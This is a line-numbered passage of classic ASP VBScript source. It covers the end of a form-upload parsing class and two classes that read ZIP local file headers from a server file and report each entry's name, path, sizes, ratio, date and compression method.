2033Else
2034pstrName = LCase(pstrname)
2035For llngIndex = 0 To mlngCount - 1
2036If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
2037Set Fields = mobjFieldAry(llngIndex)
2038Exit Property
2039End If
2040Next
2041End If
2042Set Fields = New clsField
2043End Property
2044
2045Private Sub Class_Terminate()
2046Dim llngIndex
2047For llngIndex = 0 To mlngCount - 1
2048Set mobjFieldAry(llngIndex) = Nothing
2049
2050Next
2051ReDim mobjFieldAry(-1)
2052End Sub
2053
2054Private Sub Class_Initialize()
2055ReDim mobjFieldAry(-1)
2056CR = ChrB(Asc(vbCr))
2057LF = ChrB(Asc(vbLf))
2058CRLF = CR & LF
2059mlngCount = 0
2060Call RequestData
2061Call ParseDelimiter()
2062Call ParseData
2063End Sub
2064
2065Private Function CStrU(ByRef pstrANSI)
2066Dim llngLength
2067Dim llngIndex
2068llngLength = LenB(pstrANSI)
2069For llngIndex = 1 To llngLength
2070CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
2071Next
2072End Function
2073
2074Private Function CStrB(ByRef pstrUnicode)
2075Dim llngLength
2076Dim llngIndex
2077llngLength = Len(pstrUnicode)
2078For llngIndex = 1 To llngLength
2079CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
2080Next
2081End Function
2082End Class
2083
2084'###########################################################################################
2085
2086Class clsZip
2087Private mbin_Zip
2088Private mobj_Files()
2089Private mlng_Files
2090
2091Sub ZipLoad(pstrFileName)
2092Dim lobjFSO
2093Dim llngTristateFalse
2094Dim llngForReading
2095dim objStream
2096
2097mbin_Zip = ""
2098
2099If pstrFileName = "" Then Exit Sub
2100
2101If InStr(1, pstrFileName, ":\") = 0 Then
2102pstrFileName = Server.MapPath(pstrFileName)
2103End If
2104
2105Set lobjFSO = Server.CreateObject("Scripting.FileSystemObject")
2106
2107If lobjFSO.FileExists(pstrFileName) Then
2108set objStream=Server.CreateObject("ADODB.Stream")
2109objStream.Type=1
2110objStream.Open
2111on error resume next
2112objStream.LoadFromFile(pstrFileName)
2113mbin_Zip = objStream.Read
2114set objStream=nothing
2115End If
2116
2117Set lobjFSO = Nothing
2118
2119Call ParseZips()
2120
2121End Sub
2122
2123Public Property Let ZipData(ByRef pbinBinaryData)
2124mbin_Zip = pbinBinaryData
2125Call ParseZips()
2126End Property
2127Public Property Get FileCount()
2128FileCount = mlng_Files
2129End Property
2130Public Property Get GetFile(ByRef plngIndex)
2131Set GetFile = mobj_Files(plngIndex-1)
2132End Property
2133
2134Private Sub ParseZips()
2135Dim llngOffSet
2136mlng_Files = 0
2137llngOffSet = 0
2138If LenB(mbin_Zip) = 0 Then Exit Sub
2139Do
2140' Find next PK 3.04 record
2141llngOffset = InStrB(llngOffset + 1, mbin_zip, ChrB(&h50) & ChrB(&h4B) & ChrB(&h03) & ChrB(&h04))
2142If llngOffset = 0 Then Exit Do
2143llngOffset = llngOffset - 1
2144ReDim Preserve mobj_Files(mlng_Files)
2145Set mobj_Files(mlng_Files) = New clsZipFile
2146With mobj_Files(mlng_Files)
2147.Signature = GetString(llngOffset + 1, 2) & " " & CInt(GetHex(llngOffset + 3, 1)) & "." & GetHex(llngOffset + 4, 1)
2148.ExtractVersion = FormatNumber(GetNumber(llngOffset + 5, 2) * .1, 1, True)
2149.GeneralPurposeFlags = GetNumber(llngOffset + 7, 2)
2150.CompressionMethod = GetNumber(llngOffset + 9, 2)
2151.LastModifiedTime = GetNumber(llngOffset + 11, 2)
2152.LastModifiedDate = GetNumber(llngOffset + 13, 2)
2153.CRC32 = GetNumber(llngOffset + 15, 4)
2154.CompressedSize = GetNumber(llngOffset + 19, 4)
2155.UncompressedSize = GetNumber(llngOffset + 23, 4)
2156.FileNameLength = GetNumber(llngOffset + 27, 2)
2157.ExtraFieldLength = GetNumber(llngOffset + 29, 2)
2158.FileName = GetString(llngOffset + 31, .FileNameLength)
2159.ExtraField = GetString(llngOffset + 31 + .FileNameLength, .ExtraFieldLength)
2160.StartByte = llngOffSet + 1
2161.EndByte = llngOffSET + .FileNameLength + .ExtraFieldLength + .CompressedSize + 30
2162' .BinaryData = MidB(pbin_Zip, llngOffSET + .FileNameLength + .ExtraFieldLength + 30, .CompressedSize)
2163' .LocalFileHeader = GetString(llngOffset + 1, .FileNameLength + .ExtraFieldLength + 30)
2164llngOffSet = .EndByte
2165.IsOverall = (.Name = "" And .Path = "")
2166.IsFolder = (.Name = "" And Not .Path = "")
2167End With
2168mlng_Files = mlng_Files + 1
2169Loop While mobj_Files(mlng_Files - 1).EndByte < LenB(mbin_zip)
2170End Sub
2171
2172Private Function GetHex(plngStart, plngLength)
2173Dim llngIndex
2174Dim lstrHex
2175For llngIndex = 0 To plngLength - 1
2176lstrHex = lstrHex & Right("0" & Hex(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))), 2)
2177Next
2178GetHex = lstrHex
2179End Function
2180
2181Private Function GetString(plngStart, plngLength)
2182Dim llngIndex
2183Dim lstrString
2184If LenB(mbin_zip) < (plngStart + (plngLength - 1)) Then Exit Function
2185For llngIndex = 0 To plngLength - 1
2186If AscB(MidB(mbin_zip, plngStart + llngIndex, 1)) = 0 Then
2187lstrString = lstrString & " "
2188Else
2189lstrString = lstrString & Chr(AscB(MidB(mbin_zip, plngStart + llngIndex, 1)))
2190End If
2191Next
2192GetString = lstrString
2193End Function
2194
2195Private Function GetNumber(plngStart, plngLength)
2196If plngStart < 0 Then Exit Function
2197Dim llngIndex
2198Dim lstrHex
2199For llngIndex = 0 To plngLength - 1
2200lstrHex = Right("0" & Hex(AscB(MidB(mbin_zip, plngStart + llngIndex, 1))), 2) & lstrHex
2201Next
2202GetNumber = CDbl("&h" & lstrHex)
2203End Function
2204
2205Function GetDate(plngStart)
2206Dim llngDate
2207llngDate = GetNumber(plngStart, 2)
2208GetDate = DateSerial(1980 + (llngDate And &HFE00) \ &H200, (llngDate And &H1E0) \ &H20, llngDate And &H1F)
2209End Function
2210
2211Function GetTime(plngStart)
2212Dim llngDate
2213llngDate = GetNumber(plngStart, 2)
2214GetTime = TimeSerial((llngDate And &HF800) \ &H800, (llngDate And &H7E0) \ &H20, (llngDate And &H1F) * 2)
2215End Function
2216End Class
2217
2218Class clsZipFile
2219Public Signature
2220Public ExtractVersion
2221Public GeneralPurposeFlags
2222Public CompressionMethod
2223Public LastModifiedTime
2224Public LastModifiedDate
2225Public CRC32
2226Public CompressedSize
2227Public UncompressedSize
2228Public FileNameLength
2229Public ExtraFieldLength
2230Public FileName
2231Public ExtraField
2232Public StartByte
2233Public EndByte
2234Public BinaryData
2235Public LocalFileHeader
2236
2237Public IsFolder
2238Public IsOverall
2239
2240Public Property Get Name
2241Dim lstrPath
2242lstrPath = Replace(FileName, "/", "\")
2243If InStr(1, lstrPath, "\") = "0" Then
2244Name = lstrPath
2245Exit Property
2246End If
2247Name = Mid(lstrPath, InStrRev(lstrPath, "\") + 1)
2248End Property
2249
2250Public Property Get Path
2251Dim lstrPath
2252lstrPath = Replace(FileName, "/", "\")
2253If InStr(1, lstrPath, "\") = "0" Then
2254Path = ""
2255Exit Property
2256End If
2257Path = Mid(lstrPath, 1, InStrRev(lstrPath, "\"))
2258End Property
2259
2260Public Property Get Packed
2261Packed = CompressedSize
2262End Property
2263
2264Public Property Get Ratio
2265If UncompressedSize = 0 Then Exit Property
2266If CompressedSize >= UncompressedSize Then
2267Ratio = "0%"
2268Else
2269Ratio = FormatNumber(((1 - (CompressedSize / UncompressedSize)) * 100), 0, True, False, True) & "%"
2270End If
2271End Property
2272
2273Public Property Get Modified()
2274Modified = CDate(GetDate(LastModifiedDate) & " " & GetTime(LastModifiedTime))
2275End Property
2276
2277Private Function GetDate(plngDate)
2278GetDate = DateSerial(1980 + (plngDate And &HFE00) \ &H200, _
2279(plngDate And &H1E0) \ &H20, plngDate And &H1F)
2280End Function
2281
2282Private Function GetTime(plngDate)
2283GetTime = TimeSerial((plngDate And &HF800) \ &H800, _
2284(plngDate And &H7E0) \ &H20, _
2285(plngDate And &H1F) * 2)
2286End Function
2287
2288Public Property Get Size()
2289Size = UncompressedSize
2290End Property
2291
2292Public Property Get BitMask()
2293Dim llngNumber
2294Dim lstrBits
2295llngNumber = GeneralPurposeFlags
2296Do
2297If llngNumber Mod 2 = 1 Then lstrBits = "1" & lstrBits Else lstrBits = "0" & lstrBits
2298llngNumber = llngNumber \ 2
2299Loop Until llngNumber = 0
2300lstrBits = Right("0000000000000000" & lstrBits, 16)
2301For llngNumber = 0 To 3
2302lstrReturn = lstrReturn & Mid(lstrBits, (llngNumber * 4) + 1, 4) & "."
2303Next
2304BitMask = Left(lstrReturn, 19)
2305End Property
2306
2307Property Get CompressionMethodString()
2308Select Case CompressionMethod
2309Case 0 CompressionMethodString = "The file is stored (no compression)"
2310Case 1 CompressionMethodString = "The file is Shrunk"
2311Case 2 CompressionMethodString = "The file is Reduced with compression factor 1"
2312Case 3 CompressionMethodString = "The file is Reduced with compression factor 2"
2313Case 4 CompressionMethodString = "The file is Reduced with compression factor 3"
2314Case 5 CompressionMethodString = "The file is Reduced with compression factor 4"
2315Case 6 CompressionMethodString = "The file is Imploded"
2316Case 7 CompressionMethodString = "Reserved for Tokenizing compression algorithm"
2317Case 8 CompressionMethodString = "The file is Deflated"
2318Case 9 CompressionMethodString = "Reserved for enhanced Deflating"
2319Case 10 CompressionMethodString = "PKWARE Date Compression Library Imploding"
2320Case Else CompressionMethodString = "Unhandled Copression type: " & CompressionMethod
2321End Select
2322End Property
2323End Class
2324%>